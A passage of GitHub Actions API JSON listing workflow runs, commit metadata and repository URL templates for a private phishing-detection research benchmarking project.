","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080359,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwMzU5","head_branch":"x_spam_flag","head_sha":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","run_number":1074,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1298619940,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjE5OTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080359","pull_requests":[],"created_at":"2020-10-06T19:37:25Z","updated_at":"2020-10-06T21:20:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298619940","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","tree_id":"77aa1beb0d2e686b25f12f2d46699b0ff3df537b","message":"Fixed header.x_spam_flag","timestamp":"2020-10-06T19:37:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287536368,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTM2MzY4","head_branch":"master","head_sha":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","run_number":1073,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285669384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjY5Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287536368","pull_requests":[],"created_at":"2020-10-04T07:05:29Z","updated_at":"2020-10-04T07:18:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285669384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","tree_id":"6a25a48c32108163a381fbbdd757f91aa980cadd","message":"Updated Changelog","timestamp":"2020-10-04T07:05:12Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287528129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI4MTI5","head_branch":"master","head_sha":"eb359b6def2204f9b376cded6489cef66ba2e256","run_number":1072,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285652187,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjUyMTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287528129","pull_requests":[],"created_at":"2020-10-04T06:53:56Z","updated_at":"2020-10-04T07:30:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285652187","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"eb359b6def2204f9b376cded6489cef66ba2e256","tree_id":"8d827b8c482f82d2141c2523a8b7613fe1ae7d59","message":"Updated CHANGELOG","timestamp":"2020-10-04T06:53:48Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.git